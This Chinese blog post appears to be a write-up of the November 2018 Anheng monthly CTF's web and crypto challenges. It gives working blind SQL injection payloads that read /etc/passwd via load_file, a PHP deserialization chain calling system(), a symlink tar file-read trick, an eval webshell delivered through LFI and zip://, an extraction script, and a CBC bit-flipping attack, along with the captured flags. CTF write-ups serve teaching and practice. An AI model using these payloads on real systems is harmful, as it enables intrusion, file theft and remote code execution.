sky's blog

2018 安恒杯 11月月赛writeup

字数统计: 2,279阅读时长: 11 min
2018/11/24 Share
1
文章首发在安全客 https://www.anquanke.com/post/id/166492

前言

今天比赛繁多,在打xnuca的闲暇,做了下安恒月赛,以下是Web和Crypto的解题记录

签到旧题-手速要快

拿到题目后,发现要输入一个Password

在header里发现密码

输入后发现来到上传页面

发现可以上传成功

并且可以被解析为php

于是getflag

ezsql

打开页面,发现只有注册,登录功能,然后就是个人信息页面

1
http://101.71.29.5:10024/user/user.php?id=5

随手测试了一下,发现存在sql注入

1
http://101.71.29.5:10024/user/user.php?id=if(1,1,2)


1
http://101.71.29.5:10024/user/user.php?id=if(0,1,2)


但这里的过滤很坑,首先没有引号,其次是过滤没有回显,我无法通过

1
if(length('a'),1,2)

这样的方式去识别过滤,这是我觉得比较头疼的问题
后来在随便测试的时候发现

1
if(hex(database())like(0x25),1,2)


回显正常,随即觉得应该有戏,但是由于过滤太多,依次尝试,发现可以load_file

1
if((hex(load_file(0x2f6574632f706173737764))like(0x25)),1,2)

尝试读了一下/etc/passwd
发现成功,于是想到读/var/www/html/index.php
然后得到文件内容

1
2
3
4
5
6
7
8
<?php 
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
$config = $_COOKIE['CONFIG'];
require_once('config/config.php');
}
?>

然后读/var/www/html/config.php
得到文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
class Config{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['config'])?$_POST['config']:"";
}
}
public function SetFilter($value){
// echo $value;
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
}

发现是一波反序列化的操作,注意到函数

1
2
3
4
5
  public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}

以及

1
2
3
4
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}

发现可控值,跟踪SetFilter
发现

1
2
3
4
5
$value=waf_exec($value); 
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);

发现可进行RCE的位置,于是尝试构造

1
2
3
$sky = new Config();
$sky->filter = array('system');
echo base64_encode(serialize($sky));


发现成功列目录,但是在尝试读取flag的时候出现问题
首先flag2333是个目录,然后/和空格被过滤,我们列出当前文件夹下所有文件
这里使用$IFS进行绕过空格

得到文件名,依旧无法cat,因为没有/,尝试通配符?,发现也被过滤
最后想到grep,如下图

即可无需目录名getflag

interesting web

拿到题目发现

需要我们成为管理员,因为普通用户没有用
发现3个功能:注册,登录,找回密码
那么应该是用这3个功能更改管理员密码没错了
我们尝试找回密码

由于目标是flask框架,session是存在cookie里的,我们注意到session

1
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJaREk1TTJRMk9XSTBPV1U0WWpNM01EUTFOMk0wWXpjNVpUTTJOek0yTkRVPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.DtqVZA.sKvz6PyWEuNzg_FZrRI3RKzoWzk

解一下

可以得到token
随机成功更改管理员密码
然后先到tar,不难想到软链接,我们构造

1
2
ln -s /etc/passwd 222222.jpg
tar cvfp 1.tar 222222.jpg

上传1.tar,即可得到flag

好黑的黑名单

拿到题目,f12发现

1
http://101.71.29.5:10041/show.php?id=1

于是尝试注入,有了前面的经验,直接尝试

1
http://101.71.29.5:10041/show.php?id=if(1,1,2)


1
http://101.71.29.5:10041/show.php?id=if(0,1,2)


并且发现过滤时

报错时

即可得到题目的4种特征
尝试

1
if((database())like(0x25),1,2)

发现like被过滤,于是尝试regexp

1
if((database)regexp(0x5e),1,2)

fuzz了一下,发现可以得到数据库名为

1
web

于是写脚本进行注入
尝试爆表

1
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()

这里遇到问题,=被过滤,like也被过滤
于是想到

1
in(database())

但是这里还有坑,需要这样绕过

1
in%0a(database())

同时

1
information_schema.TABLES

被过滤,需要如下绕过

1
information_schema%0a.%0aTABLES

绕过后,即可得到两张表

1
admin,flaggg

相同的方式尝试爆字段

1
id,f1agg

最后进行flag的提取时出现问题,题目不知道为什么,当regexp匹配数字的时候,就会出现数据库错误,即

所以只能得到flag{
这一点非常头疼,在这里卡了1个小时后,想到使用between,例如

根据之前的经验,flag均为md5
于是想到从0~f进行遍历
脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding:utf-8 -*-
import requests
import string
flag = 'flag{'
payload=flag.encode('hex')
list = string.digits+'abcdef'+'}'
for i in range(1,200):
print i
for j in range(len(list)):
tmp1 = payload+'2f'
tmp2 = payload+list[j].encode('hex')
url = 'http://101.71.29.5:10041/show.php?id=if(((select%0af1agg%0afrom%0aflaggg)between%0a0x'+tmp1+'%0aand%0a0x'+tmp2+'),1,2)'
r = requests.get(url)
if '郑州烩面的价钱为10' in r.content:
payload += list[j-1].encode('hex')
print payload.decode('hex')
break

得到flag

1
flag{5d6352163c30ba51f1e2c0dd08622428}

image_up

1
http://101.71.29.5:10043/index.php?page=login

拿到题目发现是个登录页面,且有文件读取的风险,我们尝试读取文件

1
2
3
4
5
6
<?php
if(isset($_POST['username'])&&isset($_POST['password'])){
header("Location: index.php?page=upload");
exit();
}
?>

随手尝试admin admin,发现登录成功,再读upload的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$error = "";
$exts = array("jpg","png","gif","jpeg");
if(!empty($_FILES["image"]))
{
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if((@$_upfileS["image"]["size"] < 102400))
{
if(in_array($extension,$exts)){
$path = "uploads/".md5($temp[0].time()).".".$extension;
move_uploaded_file($_FILES["image"]["tmp_name"], $path);
$error = "上传成功!";
}
else{
$error = "上传失败!";
}

}else{
$error = "文件过大,上传失败!";
}
}

?>

发现文件上传,这里不难想到组合拳:lfi+upload
我们只要上传一个内容带有一句话木马的jpg,再包含即可getshell
但这里有一个难点

1
$path = "uploads/".md5($temp[0].time()).".".$extension;

我们需要提前预测time()
刚开始我以为这是一道简单的time预测,但发现多次尝试多线程爆破,都无法预测到文件名
后来看到提示

想到是不是时区的问题,尝试time+8h

1
time()+8*3600

随机可以预测到图片,但是新的问题来了,我们保护图片发现并没有成功,猜想是否强行拼接了.php,于是读index

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['page'])){
if(!stristr($_GET['page'],"..")){
$page = $_GET['page'].".php";
include($page);
}else{
header("Location: index.php?page=login");
}
}else{
header("Location: index.php?page=login");
}

发现强行拼接了.php,于是想到新的方法

1
zip://

走zip协议即可
创建一个sky.php的文件,内容为

1
2
<?php
@eval($_POST[sky]);

然后压缩为sky.zip,改后缀名为sky.jpg
预测文件名后上传
访问路径

1
http://101.71.29.5:10043/index.php?page=zip://uploads/ddf1dcc4b533d1631d81a0c58a1b3bdb.jpg%23sky

即可菜刀连接

好简单的密码2

nc进题目

1
2
3
4
5
6
7
➜  ~ nc 101.71.29.5 10048
only admin can get flag!
Menu:
1) login
2) info
3) edit
4) flag

发现有4个功能,查看了一下

1
2
3
4
5
6
7
8
9
2
iv:235d5e78277087a9cb82b8ea0ca94a47
cipher:4721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95c1a73bcd539f73d29cac53105dbd69bbf71a5fcef01ccaa3f9b6582d96311f47
plain:7b27757365726e616d655f5f273a202731646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035393335342e3831353837397d303030303030
3
new iv(must_be_16_bytes_long):
235d5e78277087a9cb82b8ea0ca94a47
new cipher:
4721f1a3f57ed3d6fcad72461fa54815f0b7f83874919bd79bdc1e0a945c0f95179a145bb62d567082303b27a986e9a407763db55d5dc47c3483060be10b6946

发现info,是告诉你iv,c,m,而edit是更改iv和c
瞬间想到cbc翻转攻击
尝试登陆1dmin

1
2
3
4
1
Please input your username
1dmin
login success

查看此时的信息

1
2
3
4
2
iv:235d5e78277087a9cb82b8ea0ca94a47
cipher:4721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95c1a73bcd539f73d29cac53105dbd69bbf71a5fcef01ccaa3f9b6582d96311f47
plain:7b27757365726e616d655f5f273a202731646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035393335342e3831353837397d303030303030

进行c的构造

1
cipher = ord(cipher[0]) ^ ord(‘1’) ^ ord(‘a’)

然后修改c

1
2
3
4
5
3
new iv(must_be_16_bytes_long):
235d5e78277087a9cb82b8ea0ca94a47
new cipher:
1721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95b19686d227341efdc6f68d112c2852f6165f9f345cf01e06095faa150fd430ec

此时再看个人信息

1
2
3
4
2
iv:235d5e78277087a9cb82b8ea0ca94a47
cipher:1721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95b19686d227341efdc6f68d112c2852f6165f9f345cf01e06095faa150fd430ec
plain:dfdd2d9e4cb84a95a2dd3fcfc9e8627761646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035393435372e3332363233317d303030303030

发现明文出现乱码

那么通过iv恢复第一个Block

1
2
3
4
5
6
7
8
plain = 'dfdd2d9e4cb84a95a2dd3fcfc9e86277'.decode('hex')
want = "{'username__': '"
first_16 = ''
iv = '235d5e78277087a9cb82b8ea0ca94a47'.decode('hex')
for i in range(16):
first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i]))
newiv = first_16
print newiv.encode('hex')

然后去再修改新的iv

1
2
3
4
5
3
new iv(must_be_16_bytes_long):
87a706950ebaa35d043ad87ae27b0817
new cipher:
1721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95b19686d227341efdc6f68d112c2852f6165f9f345cf01e06095faa150fd430ec

即可getflag

1
2
3
4
5
6
7
8
9
Menu:
1) login
2) info
3) edit
4) flag
4
only admin can get flag
username :admin
flag{cce8a1ec51ac432c774d0198e388b034}

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import AES
import base64
# iv='235d5e78277087a9cb82b8ea0ca94a47'
# cipher='4721f1a3f57ed3d6fcad72461fa54815a0b7f83874919bd79bdc1e0a945c0f95179a145bb62d567082303b27a986e9a407763db55d5dc47c3483060be10b6946'
# plain='7b27757365726e616d655f5f273a202731646d696e272c20276c6f67696e5f74696d655f5f273a20313534333035383631322e3136303935367d303030303030'
# m = plain.decode('hex')
# # for i in range(0,len(m),16):
# # print m[i:i+16]
# print cipher.encode('hex')
plain = 'dfdd2d9e4cb84a95a2dd3fcfc9e86277'.decode('hex')
print plain
want = "{'username__': '"
first_16 = ''
iv = '235d5e78277087a9cb82b8ea0ca94a47'.decode('hex')
for i in range(16):
first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i]))
newiv = first_16
print newiv.encode('hex')

仿射

拿到题目,提示b=7,以及一串密码

1
achjbnpdfherebjsw

我们知道仿射密码为

a的逆元取值范围在(1,9,21,15,3,19,7,23,11,5,17,25)
所以直接解密即可

代码如下:

1
2
3
4
5
6
7
8
import gmpy2
string = 'achjbnpdfherebjsw'
b=7
for i in (1,9,21,15,3,19,7,23,11,5,17,25):
flag = ''
for k in string:
flag += chr(i*((ord(k)-ord('a'))-b)%26+ord('a'))
print flag

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 签到旧题-手速要快
  3. 3. ezsql
  4. 4. interesting web
  5. 5. 好黑的黑名单
  6. 6. image_up
  7. 7. 好简单的密码2
  8. 8. 仿射